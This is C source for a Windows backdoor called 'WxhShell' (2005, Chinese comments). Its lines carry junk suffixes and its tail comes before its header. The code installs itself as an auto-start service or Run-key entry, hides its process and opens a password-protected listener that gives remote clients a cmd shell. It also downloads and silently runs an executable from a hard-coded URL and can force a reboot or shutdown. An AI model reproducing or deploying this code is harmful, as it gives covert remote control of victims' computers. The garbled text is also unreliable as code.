    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b69nj  
    if(Boot(SHUTDOWN)) N0w?c 5>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O+o)z6(  
    else { F M6{%}4  
    closesocket(wsh); )&O2l  
    ExitThread(0); 95'+8*YCY  
    } {`SMxDevc}  
    break; : b`N(]  
    } &q<k0_5Q  
  // 获取shell Nksm&{=6S  
  case 's': { -b^dK)wR~  
    CmdShell(wsh); >} 2C,8N  
    closesocket(wsh); ys=} V|  
    ExitThread(0); bfA>kn0C  
    break; Qg/FFn^Kg*  
  } l0,VN,$Yl  
  // 退出 y5eEEG6  
  case 'x': { Un K7&Uo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a 4ViVy  
    CloseIt(wsh); ;iiCay37F  
    break; {BJ>x:2  
    } ir}z^+  
  // 离开  _ VuWo  
  case 'q': { 0V3dc+t)O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WCsf_1  
    closesocket(wsh); GrG'G(NQ  
    WSACleanup(); QO =5Q  
    exit(1); ^ l#6Es  
    break; GV0@We~  
        } w|&lRo@1  
  } i+O7,"(@  
  } L-`V^{R]  
lW| =rq-|  
  // 提示信息 x,mt}>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6DRX  
} `$> Y  
  } U 2YY   
tsg`c;{  
  return; J*rYw5QB  
} .4v?/t1  
'=$`NG8 l  
// shell模块句柄 m'}`+#C%)  
int CmdShell(SOCKET sock) m:)&:Y0 (a  
{ W|8VE,"7  
STARTUPINFO si; |^Y"*Y4*h  
ZeroMemory(&si,sizeof(si)); )$TN%hV!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Vx^u}3O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FQO=}0Hl  
PROCESS_INFORMATION ProcessInfo; Sa<(F[p`  
char cmdline[]="cmd"; =.8n K y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4o}{3 ! m  
  return 0; bX2BEa8<"  
} `D%i`"~Lf&  
I^A>YJW  
// 自身启动模式 ZXs,TaU  
int StartFromService(void) crv#IC2  
{ .;7V]B1o  
typedef struct GU> j8.  
{ gamB]FPZ  
  DWORD ExitStatus; s\mA3t  
  DWORD PebBaseAddress; ~RVlc;W  
  DWORD AffinityMask; < +*  
  DWORD BasePriority; =,zB|sjn  
  ULONG UniqueProcessId; P+f}r^4}  
  ULONG InheritedFromUniqueProcessId; Kfb(wW  
}   PROCESS_BASIC_INFORMATION; [j/|)cj  
7_oUuNw  
PROCNTQSIP NtQueryInformationProcess; wuXQa wo  
R*bx&..<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K*5gb^Ul  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h.K"v5I*  
uEb:uENk'(  
  HANDLE             hProcess; V7U*09 0*5  
  PROCESS_BASIC_INFORMATION pbi; goiI* " 6M  
IoOOS5a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /(8"]f/  
  if(NULL == hInst ) return 0; 4eB'mPor  
L[2N zw O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w` +,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +H&/C1u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [c=W p  
c!\T 0XtT  
  if (!NtQueryInformationProcess) return 0; 2 %fcDEG/  
# l9VTzi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m^XO77"  
  if(!hProcess) return 0; yn!;Z ._  
#+D][LH4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k5K5OpY  
$ H+X'1  
  CloseHandle(hProcess); ^J>m4`  
ng+sK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <|k :%  
if(hProcess==NULL) return 0; .b_ppieNY  
y2+f)Xp_.C  
HMODULE hMod; BC!) g+8  
char procName[255]; C _he=SV  
unsigned long cbNeeded; =SmU ;t>t/  
S}rEQGGR{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ahg P"Qz  
1y:fH4V  
  CloseHandle(hProcess); Fq~Zr;A  
M 0}r)@  
if(strstr(procName,"services")) return 1; // 以服务启动 ]d(Z%  
Vq0X:<9  
  return 0; // 注册表启动 95IP_1}?  
} N<SW $ o  
=XQGg`8<LB  
// 主模块 j_,/U^Ws|f  
int StartWxhshell(LPSTR lpCmdLine) 7ucm1   
{ B~}BDnu6  
  SOCKET wsl; M{orw;1Isy  
BOOL val=TRUE; O-7)"   
  int port=0; TI8\qIW  
  struct sockaddr_in door; 5yt=~  
i Ehc<  
  if(wscfg.ws_autoins) Install(); j7E;\AZ^  
vKW!;U9~P  
port=atoi(lpCmdLine); k(Xs&f `  
^|oI^"I Q=  
if(port<=0) port=wscfg.ws_port; Y.I~.66s  
rr,A Vw  
  WSADATA data; .s4vJKK0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .BxQF  
6, j60`f)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    kVZs:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qa/1*Mb  
  door.sin_family = AF_INET; Da)p%E>Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -flcB|I`  
  door.sin_port = htons(port); f {2UL ?y  
JcYY*p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #QsJr_=  
closesocket(wsl); Hc8^w6S1@  
return 1; u= dj3q  
} &bJBsd@Os  
R%r25_8  
  if(listen(wsl,2) == INVALID_SOCKET) { Q*Jb0f  
closesocket(wsl); 5-0&`,  
return 1; fcp_<2KH  
} .n_Z0&i/w  
  Wxhshell(wsl); I-8I/RRkmP  
  WSACleanup(); #*9 | \  
Cm8h b  
return 0; -ewR:Y@j  
]6^S: K_"  
} CB9:53zK9  
#\N8E-d  
// 以NT服务方式启动 /zh:7N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1O,5bi>t7  
{ 4E=QO!pVv  
DWORD   status = 0; v B~VJKD  
  DWORD   specificError = 0xfffffff; !oi {8X@  
9ec?L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?A\+s,9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %VB4/~ "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ys_L GfK  
  serviceStatus.dwWin32ExitCode     = 0; 4sSw7`  
  serviceStatus.dwServiceSpecificExitCode = 0; SN")u  
  serviceStatus.dwCheckPoint       = 0; ;uc3_J]  
  serviceStatus.dwWaitHint       = 0; ?#<'w(^%#  
\H>Psv{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MV3K'<Y  
  if (hServiceStatusHandle==0) return; kz}Bc F  
)$1j"mV  
status = GetLastError(); s+_8U}R  
  if (status!=NO_ERROR) J*K=tA  
{ qYVeFSS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; euV!U}Xr  
    serviceStatus.dwCheckPoint       = 0; A`~?2LH,~F  
    serviceStatus.dwWaitHint       = 0; (qR;6l  
    serviceStatus.dwWin32ExitCode     = status; vq9O|E3  
    serviceStatus.dwServiceSpecificExitCode = specificError; IDpLf*vSG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ g`|ob]9  
    return; lxZ9y  
  } {4SaS v^/  
z^*g 2J,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @N[<<k7g  
  serviceStatus.dwCheckPoint       = 0; P()n=&XO6  
  serviceStatus.dwWaitHint       = 0; L$"x*2[A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :{S@KsPqE  
} BZTj>yd  
@\gE{;a8  
// 处理NT服务事件,比如:启动、停止 p;7wH\c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %AqI'ObC  
{ O%bltNEx1  
switch(fdwControl) NMg(tmh  
{ ~ m vv :u  
case SERVICE_CONTROL_STOP: 3rZPVR$))  
  serviceStatus.dwWin32ExitCode = 0; GNwFB)?j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /EQ^-4yr  
  serviceStatus.dwCheckPoint   = 0; !"/"Mqs3$  
  serviceStatus.dwWaitHint     = 0; Zw4%L?   
  { OcpvY~"Pr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4_2oDcdf  
  } {C?$osrr  
  return; jC:D>  
case SERVICE_CONTROL_PAUSE: je#LD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d j9i*#F  
  break; ukW L3  
case SERVICE_CONTROL_CONTINUE: n]3'N58  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q$: ,N=%  
  break; .#sX|c=W  
case SERVICE_CONTROL_INTERROGATE: I)jAdd  
  break; sAA;d  
}; $z)egh(z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !jEV75  
} "p+oi@  
iM9k!u FE  
// 标准应用程序主函数 < fe.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T^+K`U  
{ >e.vUUQ{  
U+ Yu_=o{  
// 获取操作系统版本 6 3PV R"  
OsIsNt=GetOsVer(); bs% RWwn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FB,rQ9D  
s/>0gu]A8  
  // 从命令行安装 ./DlHS;  
  if(strpbrk(lpCmdLine,"iI")) Install(); >D##94PZ  
v^t oe  
  // 下载执行文件 RxV " ,  
if(wscfg.ws_downexe) { w .M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dci,[TEGu  
  WinExec(wscfg.ws_filenam,SW_HIDE); hWn-[w/l_  
} S+eu3nMq  
zcOm"-E-  
if(!OsIsNt) { I:al[V2g  
// 如果时win9x,隐藏进程并且设置为注册表启动 .bV^u  
HideProc(); *GhV1# <  
StartWxhshell(lpCmdLine); 9P#kV@%(0c  
} wr:-n  
else r-WX("Vvh  
  if(StartFromService()) 8In~qf  
  // 以服务方式启动 Kn?h  
  StartServiceCtrlDispatcher(DispatchTable);  N`X|z  
else |_s,]:  
  // 普通方式启动 k $ SMQ6  
  StartWxhshell(lpCmdLine); v3n T@r a'  
 cFjD*r-  
return 0; zw5Ol%JF  
} A'u]z\&%c  
tK+JmbB\  
?hp,h3s;n$  
DtS7)/<T  
=========================================== I+^iOa  
8/P!i2o  
/UR;,ts  
z~2;u 5S&  
A3q#,%  
V=>]&95-f  
" #+h#b%8  
s nNd7v.U6  
#include <stdio.h> 3:sx%Ci/2  
#include <string.h> @b5$WKPX  
#include <windows.h> Y@Ry oJ  
#include <winsock2.h> weGsjy(b]N  
#include <winsvc.h> ;3Z?MQe"NQ  
#include <urlmon.h> ^x( s !4d]  
I&^hG\D  
#pragma comment (lib, "Ws2_32.lib")  l]   
#pragma comment (lib, "urlmon.lib") X*Q<REDB  
u Vv %k5  
#define MAX_USER   100 // 最大客户端连接数 EuVA"~PA  
#define BUF_SOCK   200 // sock buffer *|6vCR  
#define KEY_BUFF   255 // 输入 buffer cs:?Wq ^  
I~ mu'T  
#define REBOOT     0   // 重启 =yJV8%pa  
#define SHUTDOWN   1   // 关机 va#].4_  
Nd;pkssd  
#define DEF_PORT   5000 // 监听端口 }KftV nD?  
SFEDR?s   
#define REG_LEN     16   // 注册表键长度 (A?w|/bZd  
#define SVC_LEN     80   // NT服务名长度 0}:Wh&g  
k0b6X5  
// 从dll定义API uXA}" f2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S]e;p\8$Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ( Y Z2&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S,Qa\\~z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qsQTJlq)  
GbkDs-  
// wxhshell配置信息 qckRX+P`  
struct WSCFG { v[DxWs8q  
  int ws_port;         // 监听端口 xj]^<oi<  
  char ws_passstr[REG_LEN]; // 口令 Efpj u(   
  int ws_autoins;       // 安装标记, 1=yes 0=no an Kflt3  
  char ws_regname[REG_LEN]; // 注册表键名 ?ZhBS3L  
  char ws_svcname[REG_LEN]; // 服务名 \mt Y_O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `Xi)';p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bXM&VW?OP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \4fuC6d2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :"i2`y;u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i8*(J-M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \2Q#'  
R=iwp%c(  
}; T#H-GOY:  
3"Kap/[h  
// default Wxhshell configuration &< FKcrZ,  
struct WSCFG wscfg={DEF_PORT, R_:lp\S&  
    "xuhuanlingzhe", ;jKLB^4nX  
    1, (K ]wk9a  
    "Wxhshell", ,a0RI<D  
    "Wxhshell", fQw=z$  
            "WxhShell Service", lm{4x~y$h  
    "Wrsky Windows CmdShell Service", VEL!-e^X&  
    "Please Input Your Password: ", 3r?T|>|  
  1, 3n_t^=  
  "http://www.wrsky.com/wxhshell.exe", ,RAP_I!_x  
  "Wxhshell.exe" a]8W32  
    }; XHJ/211  
6jov8GIAt  
// 消息定义模块 J0t_wM Ja  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *~UK5Brf1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4jVd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3]&le[.  
char *msg_ws_ext="\n\rExit."; `0 W+(9}  
char *msg_ws_end="\n\rQuit."; $9 G".T  
char *msg_ws_boot="\n\rReboot..."; UnZc9 6  
char *msg_ws_poff="\n\rShutdown..."; W yP]]I.  
char *msg_ws_down="\n\rSave to "; zTn.#-7y  
--vJR/-  
char *msg_ws_err="\n\rErr!"; Pn ?gB}l  
char *msg_ws_ok="\n\rOK!"; }JUc!cH8z  
,OkI0[  
char ExeFile[MAX_PATH]; GN+,9  
int nUser = 0; iqWkhJphv  
HANDLE handles[MAX_USER]; _Qb ].~  
int OsIsNt; lI9|"^n7F  
vcP_gJz  
SERVICE_STATUS       serviceStatus; 7VLn$q]:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +Q:)zE  
R0GD9  
// 函数声明 '^'PdB  
int Install(void); ?uF3Q)rCk  
int Uninstall(void); gU@R   
int DownloadFile(char *sURL, SOCKET wsh); Iqj?wI 1)  
int Boot(int flag); LZJFp@  
void HideProc(void); #)%X0%9.*<  
int GetOsVer(void); 5VGZ5,+<<  
int Wxhshell(SOCKET wsl); @G|z _  
void TalkWithClient(void *cs); 8K\S]SZ  
int CmdShell(SOCKET sock); ogdgLTi  
int StartFromService(void); - C8VDjf9  
int StartWxhshell(LPSTR lpCmdLine); Pf3F)y[=  
"2"2qZ*h}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8&7zV:=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AbX#wpp!  
 "'Q~&B;@  
// 数据结构和表定义 !]8QOn7=  
SERVICE_TABLE_ENTRY DispatchTable[] = DeQ ZDY //  
{ J[\8:qE  
{wscfg.ws_svcname, NTServiceMain}, E8aD[j[w  
{NULL, NULL} V#~.n ;d  
}; &i *e&{L7  
B\~(:(OPM]  
// 自我安装 QC1\Sn/  
int Install(void) 2FN#63  
{ tR?)C=4,  
  char svExeFile[MAX_PATH]; 78IY&q:v&0  
  HKEY key; ]-w.x ]I  
  strcpy(svExeFile,ExeFile); f!B\X*|  
[QwqP=-6  
// 如果是win9x系统,修改注册表设为自启动 V$ " ]f6  
if(!OsIsNt) { UrdSo"%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ERfSJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Y>QKS  
  RegCloseKey(key); uLt31G()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X/D% cQ6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NLev(B:OQH  
  RegCloseKey(key); O7f"8|=HX  
  return 0; *3y_FTh8ra  
    } H<l0]-S{  
  } <07~EP  
} fTi5Ej*/?)  
else { }x"8v&3CM_  
tG 0 &0`  
// 如果是NT以上系统,安装为系统服务 S6{y%K2y&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )kE1g&  
if (schSCManager!=0) Bdib)t[  
{ ~[0^{$rrWs  
  SC_HANDLE schService = CreateService f3mQd}<L  
  ( 8~iggwZ~h"  
  schSCManager, PWS5s^WM  
  wscfg.ws_svcname, uAV-wc  
  wscfg.ws_svcdisp, D!V*H?;U  
  SERVICE_ALL_ACCESS, @:P:`Zk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |_16IEJ  
  SERVICE_AUTO_START, dF+:9iiAm  
  SERVICE_ERROR_NORMAL, "iuNYM5 P  
  svExeFile, HQc^ybX5  
  NULL, v2vtkYQN  
  NULL, )yS S2  
  NULL, L#MMNc+  
  NULL, 0w6"p>s>c  
  NULL i(S}gH4*o  
  ); |1m2h]];Q  
  if (schService!=0) 3Io7!:+  
  { xp]_>WGq  
  CloseServiceHandle(schService); B~u`bn,iQ  
  CloseServiceHandle(schSCManager); jjg[v""3|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "X-"uIc  
  strcat(svExeFile,wscfg.ws_svcname); 2nI^fVR%\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &C6*"JZ4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S|_"~Nd=  
  RegCloseKey(key); c,5yH  
  return 0; L ?S#3@Pa  
    } Ots]y  
  } S\6.vw!'  
  CloseServiceHandle(schSCManager); 8q|T`ac+N  
} +VO(6Jn  
} %}Z1KiRiX  
|N5|B Q(y$  
return 1; g`41d  
} b5l;bXp]  
<1kK@m -E  
// 自我卸载 bDV/$@p  
int Uninstall(void) gnw?Y 2  
{ hJ~=eYK?J  
  HKEY key; E7@m& R  
Q&&oP:4~X*  
if(!OsIsNt) { {BD G;e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x,QXOh\a  
  RegDeleteValue(key,wscfg.ws_regname); sE\Cv2Gx  
  RegCloseKey(key); Tuy5h 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJ<V<=MYZ  
  RegDeleteValue(key,wscfg.ws_regname); 6FEIQ#`{  
  RegCloseKey(key); {\n?IGP?wd  
  return 0; uiaZ@  
  } P:m6:F@hO  
} p9~$}!ua  
} dU|&- .rG  
else { #9q ]jjH E  
]U.*KkQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p^ )iC&*0  
if (schSCManager!=0) DP!~WkU~  
{ 2h`Tn{&1/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); --F6n/>  
  if (schService!=0) ZP"Xn/L  
  { qyR}|<F8*  
  if(DeleteService(schService)!=0) { J|DY /v  
  CloseServiceHandle(schService); _kUtj(re  
  CloseServiceHandle(schSCManager); KKNQ+'?  
  return 0; nRheByYm  
  } vFi+ExBU  
  CloseServiceHandle(schService); fD2 )/5j1  
  } mN1n/LNi  
  CloseServiceHandle(schSCManager); '~AR|8q?  
} tIo b  
} 0!q@b  
yjIA`5^  
return 1; kB_T9$0e#  
} =$\9t$A  
dg@'5.ApPu  
// 从指定url下载文件 Ypx"<CKP}  
int DownloadFile(char *sURL, SOCKET wsh) 4.q^r]m*  
{ *+j r? |  
  HRESULT hr; MD[;Ha  
char seps[]= "/"; ;AJ6I*O@+  
char *token;  x]~&4fp  
char *file; =v=u+nO  
char myURL[MAX_PATH]; U,Z7n H3_  
char myFILE[MAX_PATH]; p4z thdN[  
D[3QQT7c  
strcpy(myURL,sURL); &Yd6w}8  
  token=strtok(myURL,seps); S X[  
  while(token!=NULL) r)[Xzn   
  { Uh3N#O  
    file=token; 6-f-/$B  
  token=strtok(NULL,seps); ,7SqR Y,+  
  } :rEZR`  
#E4|@}30`  
GetCurrentDirectory(MAX_PATH,myFILE); PgYIQpV  
strcat(myFILE, "\\"); &|fWtl;43  
strcat(myFILE, file); 'oF('uR  
  send(wsh,myFILE,strlen(myFILE),0); *)s^+F 0  
send(wsh,"...",3,0); b$>1_wTL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lm'+z97  
  if(hr==S_OK) oh,29Gg  
return 0; FA}y"I'W  
else ;.3 {}.Y  
return 1; 3shd0q<  
P}"uC`036  
} )8_MkFQe  
Y {|is2M9'  
// 系统电源模块 _tpOVw4I  
int Boot(int flag) G k:k px  
{ 3|4<SMm  
  HANDLE hToken; ?7A>|p?"  
  TOKEN_PRIVILEGES tkp; 96<0=   
Jo:S *D  
  if(OsIsNt) { 6T%5<I*&3s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,z`* 1b8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xx ou1l!  
    tkp.PrivilegeCount = 1; \hg%J/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zB'_YwW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Koc5~qUY]  
if(flag==REBOOT) { Dfy=$:Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jt3=<&*Bm  
  return 0; _3q}K  
} Zhc99L&K  
else { %#E$wz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aq - |  
  return 0; xpBQ(6Y  
} q$'[&&_  
  } u]& +TR  
  else { eZ{Ce.lNR  
if(flag==REBOOT) { Hd_,`W@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5TLE%#G@+  
  return 0; iKG,"  
} )&qr2Cm*  
else { e//jd&G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )a<MW66  
  return 0; ~%@1-  
} FA{(gib@9  
} nxe9^h7m  
C@u}tH )  
return 1; Op:$7hv  
} Bv#?.0Ez;  
 huvn_  
// win9x进程隐藏模块 rTim1<IXR  
void HideProc(void) RM>A9nv$\  
{ vK$wc~  
#dQFs]:F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A+(+Pf U  
  if ( hKernel != NULL ) 5aNvGI1  
  { g-4ab|F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'l_F@ZO{(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 12tk$FcY8*  
    FreeLibrary(hKernel); Z:YgG.z"  
  } `@{(ijg.  
0/uy'JvWru  
return; /q) H0b  
} "G@(Cb*+T  
"iUh.c=0F,  
// 获取操作系统版本 oj@=Cq':-  
int GetOsVer(void) A0bR.*3  
{ S84S/y  
  OSVERSIONINFO winfo; $3*y)Ny^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +3Z+#nGtk  
  GetVersionEx(&winfo); +%Z:k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z=Xh  
  return 1; }yw>d\] f  
  else mSGpxZ,IE  
  return 0; k t+h\^g  
} 3 6t^iV*3  
BDLJDyf B  
// 客户端句柄模块 g!^mewtd  
int Wxhshell(SOCKET wsl) QWE\Ud.q  
{ 2?:'p[z"]  
  SOCKET wsh; LuVL <W  
  struct sockaddr_in client; "bz]5c~  
  DWORD myID; c-U]3`;Q  
U^]@0vR  
  while(nUser<MAX_USER) `cPZsL  
{ 8Yo;oHk7  
  int nSize=sizeof(client); MeV*]*   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B qLL]%F  
  if(wsh==INVALID_SOCKET) return 1; 03"FK"2S  
ay]l\d2!3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y7;=\/SV  
if(handles[nUser]==0) tl`x/   
  closesocket(wsh); zR )/h   
else O^@F?CG :1  
  nUser++; /4|_A {m{m  
  } )&l5I4CIf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @76I8r5l  
zx@L sp  
  return 0; c/V0AKkS 8  
} Z+=-)&L  
$:&b5=i  
// 关闭 socket ElKMd  
void CloseIt(SOCKET wsh) M>xT\  
{ @^GI :z  
closesocket(wsh); taMcm}*T1  
nUser--; a)I>Ns)  
ExitThread(0); pJuD+v  
} '*^9'=  
"Y@q?ey[1  
// 客户端请求句柄 ).-#  
void TalkWithClient(void *cs) 1 hD(l6tG@  
{ PcI~,e%  
V Ds0+RC  
  SOCKET wsh=(SOCKET)cs; Q\N >W+d  
  char pwd[SVC_LEN]; 4*HBCzr7[  
  char cmd[KEY_BUFF]; N 6> rU  
char chr[1]; n3j_=(  
int i,j; u=Xpu,q  
P"o|kRO  
  while (nUser < MAX_USER) { *$Zy|&[Z  
8U}+9  
if(wscfg.ws_passstr) { trB-(B%5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,C|{_4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pCC^Hxa  
  //ZeroMemory(pwd,KEY_BUFF); 2/\I/QkTs  
      i=0; Mi\- 9-  
  while(i<SVC_LEN) { YFW/ Fa\7  
r! [Qpb-:  
  // 设置超时 xzOn[.Fi  
  fd_set FdRead; :#cJZ\YH  
  struct timeval TimeOut; fIJX5)D  
  FD_ZERO(&FdRead); + R~ !G  
  FD_SET(wsh,&FdRead); y=Z[_L!xr  
  TimeOut.tv_sec=8; *Uy;P>8  
  TimeOut.tv_usec=0; WD! " $  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RxNLn/?d@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yYSoJqj Q  
DQ9aq.;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?cn`N|   
  pwd=chr[0]; %e)? Mem  
  if(chr[0]==0xd || chr[0]==0xa) { 5\h6'  
  pwd=0; yXqC  
  break; yPg0 :o-  
  } <":83RCS  
  i++; .gt;:8fw{  
    } <j/wK]d*/  
HLQ> |,9  
  // 如果是非法用户,关闭 socket DiGHo~f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T3LVn<Lm\  
} *`LrvE@t  
JSmg6l?[u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l/"!}wF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <4~SFTWY  
u%Mo.<PI  
while(1) { !6a;/ys  
EBiLe;=X  
  ZeroMemory(cmd,KEY_BUFF); Z  
O+/{[9s  
      // 自动支持客户端 telnet标准    $&1Dl  
  j=0; L,ax^]  
  while(j<KEY_BUFF) {  wG6Oz2(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pred{HEye  
  cmd[j]=chr[0]; h:sf?X[  
  if(chr[0]==0xa || chr[0]==0xd) { Db;>MWt+e  
  cmd[j]=0; b80&${v  
  break; |o*qZ}6  
  } .v+ W>  
  j++; dBS_N/  
    } a .?AniB0  
_+H $Pa}?  
  // 下载文件 YB!f=_8  
  if(strstr(cmd,"http://")) { W\ mgM2p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0)7v _|z  
  if(DownloadFile(cmd,wsh)) 4mtO"'|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?$uEN_1O\@  
  else rixVIfVF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uH,/S4?X  
  } p=#/H ,2  
  else { jeJspch+#  
c;!| =  
    switch(cmd[0]) { h9!4\{V;h  
